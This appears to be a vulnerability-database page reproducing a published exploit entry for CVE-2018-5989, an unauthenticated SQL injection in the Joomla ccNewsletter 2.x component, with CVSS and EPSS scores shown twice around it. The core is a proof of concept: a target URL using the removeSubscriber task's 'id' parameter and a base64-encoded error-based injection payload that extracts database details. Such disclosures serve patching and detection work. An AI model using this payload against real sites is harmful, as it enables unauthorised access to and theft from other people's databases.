CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
68.6%
# # # #
# Exploit Title: Joomla Component ccNewsletter 2.x.x 'id' - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: https://www.chillcreations.com/
# Software Link: https://extensions.joomla.org/extension/ccnewsletter/
# Version: 2.x Stable
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5989
# # # #
# Exploit Author: Ihsan Sencan
# # # #
#
# POC:
#
# 1)
# http://localhost/[PATH]/index.php?option=com_ccnewsletter&task=removeSubscriber&id=[SQL]
#
# Y2ZjZDIwODQ5NWQ1NjVlZjY2ZTdkZmY5Zjk4NzY0ZGEnJTIwT1IlMjAoU0VMRUNUJTIwMiUyMEZST00oU0VMRUNUJTIwQ09VTlQoKiksQ09OQ0FUKHZlcnNpb24oKSwoU0VMRUNUJTIwKEVMVCgxPTEsMSkpKSxkYXRhYmFzZSgpLEZMT09SKFJBTkQoMCkqMikpeCUyMEZST00lMjBJTkZPUk1BVElPTl9TQ0hFTUEuUExVR0lOUyUyMEdST1VQJTIwQlklMjB4KWEpLS0lMjBhTXBM
#
# # # #
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
68.6%